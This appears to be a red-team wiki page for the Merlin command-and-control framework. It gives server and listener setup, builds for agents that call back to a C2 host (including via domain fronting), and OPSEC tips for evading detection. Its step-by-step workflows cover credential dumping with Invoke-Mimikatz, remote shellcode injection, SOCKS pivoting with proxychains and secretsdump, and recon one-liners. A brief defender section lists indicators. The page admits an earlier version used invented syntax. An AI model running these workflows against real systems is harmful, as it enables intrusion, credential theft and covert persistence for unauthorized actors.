ᛉ Yggdrasil

Tool references

Merlin C2 Wiki

17 Sep 2026 · 3,235 words · 15 min

Contents

Author: Russel Van Tuyl (@Ne0nd0g) Repo: https://github.com/Ne0nd0g/merlin Description: Cross-platform post-exploitation command-and-control framework written in Go License: GPL-3.0 Docs: https://merlin-c2.readthedocs.io/

⚠️ Correction notice: The previous version of this wiki described a REST-API/token-authCLI (listener create --protocol, generate --os, --token) that does not match real Merlin.That was invented syntax. This revision is rebuilt against the current official docs(merlin-c2.readthedocs.io). Real Merlin uses a gRPC-based, menu-driven CLI — you navigate menus (Merlin», Merlin[listeners]», Merlin[agent][id]») and use use / set / run / start inside them, similar to Metasploit's console feel, not flag-heavy one-liners.


Overview

Merlin is a post-exploitation C2 framework — it assumes you already have code execution on a target and helps you manage that access, not gain it. It's written entirely in Go, which gives it single-binary, cross-platform agents (Windows, Linux, macOS, and others Go can target) with no runtime dependencies.

Key capabilities:

  • Multiple transport protocols per agent — HTTP/1.1, HTTP/2 (h2, h2c clear-text), HTTP/3 (QUIC), plus peer-to-peer transports (SMB, TCP, UDP) for agents that relay through other agents instead of talking to the server directly
  • gRPC-secured operator CLI — the CLI talks to the Merlin Server over gRPC/TLS, authenticated with a shared password (not a REST API token)
  • OPAQUE authentication — agents authenticate to listeners using the OPAQUE asymmetric password-authenticated key exchange (PAKE) by default, so no plaintext PSK ever crosses the wire
  • Menu-driven CLI — Metasploit-style: Merlin» main menu, drop into listeners, modules, or agent interact <id> sub-menus
  • JA3 TLS fingerprint control — agents can spoof a specific JA3 signature
  • SOCKS5 pivoting and port forwarding through agents
  • Modular PowerShell/BOF-style modules — Merlin ships the module framework but not the scripts themselves; you clone tools like PowerSploit into data/source yourself

Merlin shows up in OSCP-adjacent and red team contexts because it's a good example of a minimal-dependency, protocol-flexible C2 — useful both to operate and to study for your own C2 build.


Architecture

  • Merlin Server — a single Go binary/daemon that manages listeners, agent state, and logging, and exposes a gRPC service for CLI operators. No database dependency — state is file-based/in-memory.
  • Merlin CLI — the console (Merlin» prompt) operators use to manage listeners, agents, and modules. Connects to the server over gRPC with TLS, authenticated by a shared password.
  • Listeners — configured inside the running CLI (not via startup flags), each bound to a protocol (http, https, h2, h2c, http3, or peer-to-peer smb/tcp/udp) and, for network listeners, an interface/port.
  • Merlin Server no longer takes CLI flags to define listeners — listeners are created at runtime through the CLI's listeners menu, so you configure them from Merlin[listeners]».
  • Agents — compiled Go binaries deployed to targets. Built with make targets (or the release download's precompiled binaries), not generated interactively from the CLI like Cobalt Strike/Sliver.
┌──────────────────────┐
│  Merlin CLI          │
│  (gRPC/TLS, password │
│   authenticated)     │
└──────────┬───────────┘
           │ gRPC (default 127.0.0.1:50051)
           ▼
┌─────────────────────────────────────────┐
│         Merlin Server (daemon)          │
│  Listeners created at runtime via CLI:  │
│   HTTP / HTTPS / H2 / H2C / HTTP3       │
│   (+ peer-to-peer: SMB / TCP / UDP)     │
└─────────────────────────────────────────┘
           │
           ├─────────────────────────┐
           │                         │
           ▼                         ▼
    ┌────────────────┐        ┌────────────────┐
    │ Agent (Windows)│        │ Agent (Linux)  │
    └────────────────┘        └────────────────┘

Installation & Server Setup

Quick Start (release binary)

The recommended path is the prebuilt server release, which bundles the CLI and precompiled agents for the three major platforms under data/bin/.

# Download, extract, and run Merlin Server on Ubuntu (one-liner from the docs)
sudo bash -c '
  apt update
  apt install p7zip-full -y
  cd /opt
  wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
  7z x -pmerlin -omerlin merlinServer-Linux-x64.7z
  cd merlin
  ./merlinServer-Linux-x64
'

Server Command-Line Flags

Unlike v1-era Merlin, the server no longer reads a config.yaml for listeners — startup flags only control the gRPC control-plane (how the CLI connects), not agent-facing listeners:

./merlin-server -h
Usage of merlin-server:
  -addr string
        The address to listen on for CLI client connections (default "127.0.0.1:50051")
  -debug
        Enable debug logging
  -extra
        Enable extra debug logging
  -password string
        The password for CLI RPC clients to connect to this server (default "merlin")
  -secure
        Require client TLS certificate verification (mutual TLS)
  -tlsCA string
        TLS Certificate Authority file path to verify client certificates
  -tlsCert string
        TLS certificate file path
  -tlsKey string
        TLS private key file path
  -trace
        Enable trace logging
  -version
        Print the version number and exit

Important: -addr is the CLI's gRPC connection point, not where agents check in. Agent-facing listeners (HTTP/HTTPS/etc.) are created separately, at runtime, from inside the CLI's listeners menu — see below.

Example:

./merlin-server -password "ChangeThisPassword" -addr 0.0.0.0:50051

Tip: Set a strong -password and consider -secure with -tlsCA/-tlsCert/-tlsKey for mutual TLS on the CLI control-plane in anything beyond a lab.


Connecting the CLI

The CLI binary is included in the server release under data/bin/. Connect to a running server:

./merlinCLI-Linux-x64 -addr 127.0.0.1:50051 -password ChangeThisPassword

This drops you into the main menu prompt:

Merlin»

If your session drops, use reconnect from inside the CLI to re-establish the gRPC connection without restarting the whole client.


Listeners

Listeners are created inside the running CLI, not via server startup flags. Move into the listeners menu, use a protocol, configure it with set, then start it.

Merlin» listeners
Merlin[listeners]» use https
Merlin[listeners][https]» set Interface 0.0.0.0
Merlin[listeners][https]» set Port 443
Merlin[listeners][https]» set Name https_main
Merlin[listeners][https]» run

Available protocols for use:

Protocol Notes
http HTTP/1.1, clear-text
https HTTP/1.1 over TLS
h2c HTTP/2, clear-text
h2 HTTP/2 over TLS (agent default protocol)
http3 HTTP/2 over QUIC (UDP-based)
smb Peer-to-peer — handles delegated SMB pipe traffic, doesn't bind a network interface
tcp Peer-to-peer — handles delegated TCP traffic
udp Peer-to-peer — handles delegated UDP traffic

Common listener configuration options (set <option> <value>):

Option Description
Name Operator-facing identifier for the listener
Interface Network interface/IP to bind (default 127.0.0.1)
Port Listening port
PSK Pre-shared key used to encrypt agent traffic (default merlin)
Authenticator OPAQUE (default, PAKE-based) or None (no auth — lab/testing only)
Transforms Ordered encoding/encryption chain, default jwe,gob-base
Description Free-text note for the listener
JWTKey Base64 key used to sign/encrypt agent JWTs; leave empty to disable JWTs

Listener menu commands:

Merlin[listeners]» use <protocol>     # select a protocol to configure a new listener
Merlin[listeners][<protocol>]» set <option> <value>
Merlin[listeners][<protocol>]» run    # instantiate and start the listener
Merlin[listeners]» list               # show all configured listeners
Merlin[listeners]» interact <name>    # jump back into an existing listener's config
Merlin[listeners]» delete <name>      # remove a listener (prompts for confirmation)

Agent Generation (Building Agents)

There is no interactive generate command in the CLI. Agents are built from source with make, or you use the precompiled binaries already shipped in the server release's data/bin/ directory. This is the single biggest structural difference from Cobalt Strike/Sliver-style "generate a payload from the console" workflows.

Using precompiled agents (fastest path)

The server download includes ready-to-run agent binaries for Windows, Linux, and macOS under data/bin/. You still need to tell the agent where to call home — either via the -url flag at execution time, or by rebuilding with a hardcoded URL (see below).

# Default agent connects to https://127.0.0.1:443/ unless told otherwise
./merlinAgent.exe -url https://<your-server>:443/

Building from source with make

cd /opt
git clone https://github.com/Ne0nd0g/merlin.git
cd merlin

# Build a Windows agent with a hardcoded callback URL
make windows URL=https://c2.example.com:443/ PROTO=h2 PSK=SecurePassword1

# Build a Linux agent, HTTPS, with domain fronting via a CDN host header
make linux URL=https://cdn-front.example.com:443/c2endpoint.php \
  HOST=myendpoint.azureedge.net PROTO=https PSK=SecurePassword1

# Debug build that prints agent output to console instead of running silently
make windows-debug URL=https://c2.example.com:443/

Key make variables:

Variable Description
URL Callback address the agent connects to
PROTO https, http, h2 (default), h2c, or http3
PSK Pre-shared key matching the listener's PSK
HOST HTTP Host header — used for domain fronting
SLEEP Check-in interval, Go duration syntax (e.g. 10s, 1m)

By default the agent is built with all transports and features compiled in. Build tags restrict this — if you only need HTTP, tag the build accordingly to shrink the binary and reduce capability (and therefore attack-surface/signature) footprint. Note the Windows build compiles as a GUI subsystem binary (no console window on execution); use make windows-debug if you need to see its output while testing.


Agent Management

Once an agent checks in, it shows up in the agent list.

Merlin» agent list
+--------------------------------------+---------------+-----------------+-----------+-----------+
| AGENT GUID                           | PLATFORM      | USER            | HOST      | TRANSPORT |
+--------------------------------------+---------------+-----------------+-----------+-----------+
| 54a20389-4f8a-4e3f-9f8e-a0f686ce529e | linux/amd64   | root            | kali      | HTTP/2    |
| c1090dbc-f2f7-4d90-a241-86e0c0217786 | windows/amd64 | CORP\jdoe       | WIN-7PD32 | HTTP/2    |
+--------------------------------------+---------------+-----------------+-----------+-----------+

Merlin» sessions           # quick view of established agents + status (Active/Delayed)

Merlin» interact <agentID>            # from the main menu — tab-completable
Merlin» agent interact <agentID>      # equivalent, explicit form
Merlin[agent][c1090dbc-...]»

Merlin» remove <agentID>              # delete an agent record from the server

Other useful main-menu commands:

Merlin» listeners      # move to the listeners menu
Merlin» modules         # move to the modules menu (alias: use module)
Merlin» group add <agentID> <groupName>    # organize agents into groups
Merlin» group list [groupName]
Merlin» queue <agentID|groupName> <command> [args]   # queue a command for offline/delayed agents
Merlin» jobs             # show unfinished/queued jobs
Merlin» banner
Merlin» verbose          # toggle verbose console output
Merlin» quit [-y]        # exit, prompts for confirmation unless -y

Agent Menu Commands

Inside Merlin[agent][<id>]»:

Command Description
info Full detail on the agent (OS, user, integrity, PID, IPs, check-in times, sleep/jitter, kill date, etc.)
status Print the agent's current status
pwd Print working directory
cd <path> Change directory (quote paths with spaces; escape Windows backslashes: cd C:\\Users)
ls [path] List directory contents — implemented natively in Go, not by shelling out to ls/dir
shell <cmd> Execute a command via the OS shell and return output
cmd <cmd> Deprecated — use shell instead
upload <local> <remote> Upload a file from the operator machine to the agent
download <remote_file> Download a file from the agent to the operator machine
execute-shellcode <self\|remote <pid>\|RtlCreateUserThread <pid>> <shellcode> Execute shellcode via one of several injection methods (Windows)
set <ja3\|killdate\|maxretry\|padding\|skew\|sleep> <value> Change one of the agent's live operational parameters
kill Instruct the agent to terminate
back / main Return to the main menu

There is no separate "modules" system baked permanently into the agent binary the way the prior version of this doc implied — credential access, persistence, and similar capability comes through the modules framework (below), not built-in agent verbs like minidump or persist.


Modules

Merlin's module framework wraps external tooling (PowerShell scripts, BOFs, etc.) rather than shipping them prebuilt. Merlin does not ship the scripts themselves — you clone them into data/source yourself (e.g. PowerSploit), and the module definition tells Merlin whether to push that script to the target (local) or have the agent fetch it directly (remote).

Merlin» modules
Merlin[modules]» use windows/x64/powershell/powersploit/Invoke-Mimikatz
Merlin[modules][.../Invoke-Mimikatz]» show
Merlin[modules][.../Invoke-Mimikatz]» set <option> <value>
Merlin[modules][.../Invoke-Mimikatz]» info      # module details/help
Merlin[modules][.../Invoke-Mimikatz]» run        # execute against the module's configured agent

Module menu commands:

Command Description
use <module path> Load a module by its path under the modules tree
show Show the module's configurable options
set <key> <value> Set an option (e.g. the target agent)
info Show module metadata/help
run Execute the module against its configured agent
reload Reset the module's options to defaults
interact <agentID\|listenerID> Jump to interact with an agent or listener from here
back / main Return to the main menu

Getting PowerSploit (or similar) into place:

cd data/source
git clone https://github.com/PowerShellMafia/PowerSploit.git

OPSEC Considerations

Authentication & transport

  • OPAQUE is the default authenticator — it's a PAKE, so the PSK never crosses the wire in a form that can be captured and cracked from traffic alone. Don't downgrade a listener's Authenticator to None outside of lab testing.
  • PSK still matters — it seeds the OPAQUE exchange. Treat it like a credential: document it, don't reuse it across engagements, and rotate the listener's JWTKey if you suspect the server was compromised (existing agents can recover as long as the PSK still matches).

Traffic fingerprinting

  • JA3 — agents can be built or reconfigured to present a specific JA3 TLS client signature, which helps blend in with expected traffic on the target network.
  • Sleep/jitter — set realistic check-in intervals; exact fixed intervals are one of the more obvious network-behavior tells.
  • Protocol choice — h2c/http are clear-text and trivially inspectable; prefer https,h2, or http3 outside of isolated lab environments.
  • Domain fronting — the HOST build variable lets you front traffic through a CDN endpoint, separating the TLS SNI/cert from the true C2 destination.

Server-side

  • gRPC control-plane exposure — the CLI's gRPC port (-addr, default 127.0.0.1:50051) should not be exposed to untrusted networks; it's the operator control-plane, not agent-facing.
  • Use -secure with mutual TLS for the CLI connection on anything beyond solo lab use.
  • Put agent-facing listeners behind a redirector (nginx/Apache) in live engagements rather than exposing the Merlin listener directly.

Pivoting: SOCKS5 & Port Forwarding

SOCKS5 proxying is run from the main menu, targeting a specific agent — not from inside the agent's own menu.

Merlin» socks start 9050 c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Started SOCKS listener for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 on 127.0.0.1:9050

Merlin» socks list

Merlin» socks stop 9050 c1090dbc-f2f7-4d90-a241-86e0c0217786

Note: There can only be one SOCKS5 listener per agent, and SOCKS5 listeners do not authenticate connections themselves — restrict access with local firewall rules or an SSH tunnel to the operator box.

Route tooling through it via proxychains:

echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn -p 445,3389,22 192.168.1.0/24
proxychains impacket-secretsdump 'CORP/admin:password@192.168.1.10'

Detection Notes (Blue Team Awareness)

Network indicators

  • Exact, jitter-free check-in intervals
  • Known default paths/behavior if a listener's defaults were never customized
  • TLS/JA3 fingerprint mismatches (a JA3 that doesn't match the claimed User-Agent/browser)
  • HTTP/3 (QUIC/UDP) C2 traffic stands out in environments where UDP 443 isn't normally used

Behavioral indicators

  • shell-spawned child processes under unusual parents
  • Rapid recon command sequences (whoami, net user, net localgroup administrators) issued back-to-back — normal admin activity is rarely this dense
  • execute-shellcode injection into unrelated processes

File-based indicators

  • Unsigned Go binaries with characteristic high entropy sections
  • Staging paths under common temp directories

Notes for defenders and for your own C2 design

  • Since Merlin uses Go's native directory listing (ls) rather than shelling out to dir/ls binaries, EDR that only hooks process-spawn events for recon commands will miss it — file and network telemetry matters more here than process telemetry for that specific action.
  • OPAQUE authentication means you can't detect Merlin agents by cracking a captured PSK from network traffic; detection has to lean on behavior and fingerprinting, not credential replay.

Common Attack Workflows

Workflow: Initial Foothold → SOCKS Pivot → Internal Recon

# 1. Stand up a listener
Merlin» listeners
Merlin[listeners]» use https
Merlin[listeners][https]» set Port 443
Merlin[listeners][https]» set Name https_main
Merlin[listeners][https]» run

# 2. Build an agent pointed at it (from a shell, not the CLI)
#    make windows URL=https://c2.example.com:443/ PROTO=https PSK=SecurePassword1

# 3. Deliver + execute the agent on the target (outside Merlin's scope — phishing, exploit, etc.)

# 4. Back in the CLI, confirm check-in
Merlin» agent list
Merlin» interact <agentID>

# 5. Recon
Merlin[agent][<id>]» shell whoami /all
Merlin[agent][<id>]» shell ipconfig /all
Merlin[agent][<id>]» back

# 6. Pivot into the internal network via SOCKS5
Merlin» socks start 9050 <agentID>
echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn -p 445,3389,22 192.168.1.0/24

Workflow: Credential Access via a Module

Merlin» modules
Merlin[modules]» use windows/x64/powershell/powersploit/Invoke-Mimikatz
Merlin[modules][.../Invoke-Mimikatz]» show
Merlin[modules][.../Invoke-Mimikatz]» set agent <agentID>
Merlin[modules][.../Invoke-Mimikatz]» run

Workflow: File Staging and Shellcode Execution

Merlin» interact <agentID>
Merlin[agent][<id>]» upload ./payload.bin C:\\Temp\\payload.bin
Merlin[agent][<id>]» execute-shellcode remote <target-pid> C:\\Temp\\payload.bin

Cheatsheet

Server Setup

./merlin-server -password "ChangeThisPassword" -addr 0.0.0.0:50051

Connect the CLI

./merlinCLI-Linux-x64 -addr 127.0.0.1:50051 -password ChangeThisPassword

Listeners

listeners
use https
set Interface 0.0.0.0
set Port 443
set Name https_main
run
list
interact <name>
delete <name>

Build an Agent (from a shell, not the CLI)

make windows URL=https://c2.example.com:443/ PROTO=h2 PSK=SecurePassword1
make linux   URL=https://c2.example.com:443/ PROTO=https PSK=SecurePassword1
make windows-debug URL=https://c2.example.com:443/    # console output for testing

Agent Management

agent list
sessions
interact <agentID>
remove <agentID>

Inside an Agent Session

info
status
pwd
cd C:\\Users
ls
shell whoami
shell ipconfig
upload ./local/file C:\\remote\\path\\file
download C:\\remote\\file
execute-shellcode self <shellcode>
set sleep 30
kill
back

Modules

modules
use windows/x64/powershell/powersploit/Invoke-Mimikatz
show
set agent <agentID>
run

Pivoting (SOCKS5 — from the main menu)

socks start 9050 <agentID>
socks list
socks stop 9050 <agentID>

Useful Recon One-Liners (via shell)

shell tasklist /v
shell wmic os get name,version
shell arp -a
shell route print
shell net user
shell net localgroup administrators
shell query user
shell netsh advfirewall show allprofiles state
shell net share
shell net view \\TARGET /all

References

  • GitHub: https://github.com/Ne0nd0g/merlin
  • Documentation: https://merlin-c2.readthedocs.io/
  • Merlin Agent source: https://github.com/Ne0nd0g/merlin-agent
  • Merlin Agent DLL source: https://github.com/Ne0nd0g/merlin-agent-dll
  • Documentation source repo (for diffing changes over time): https://github.com/Ne0nd0g/merlin-documentation
  • Releases: https://github.com/Ne0nd0g/merlin/releases

Appendix: Common Operational Mistakes

  1. Confusing the gRPC -addr flag with an agent listener — it's the CLI's control-plane connection, agents never touch it
  2. Forgetting the PSK has to match between the make build and the listener's PSK option— mismatched PSKs break the OPAQUE handshake silently
  3. Using exact check-in intervals without adjusting sleep/jitter — easy network tell
  4. Leaving a listener's Authenticator as None outside of lab testing
  5. Exposing the CLI's gRPC port to an untrusted network
  6. Trying to generate an agent from inside the CLI — that command doesn't exist; agents are built with make or taken from the release's precompiled data/bin/
  7. Not cloning module dependencies (e.g. PowerSploit) into data/source before trying to run a module that needs them

← Tool references top ↑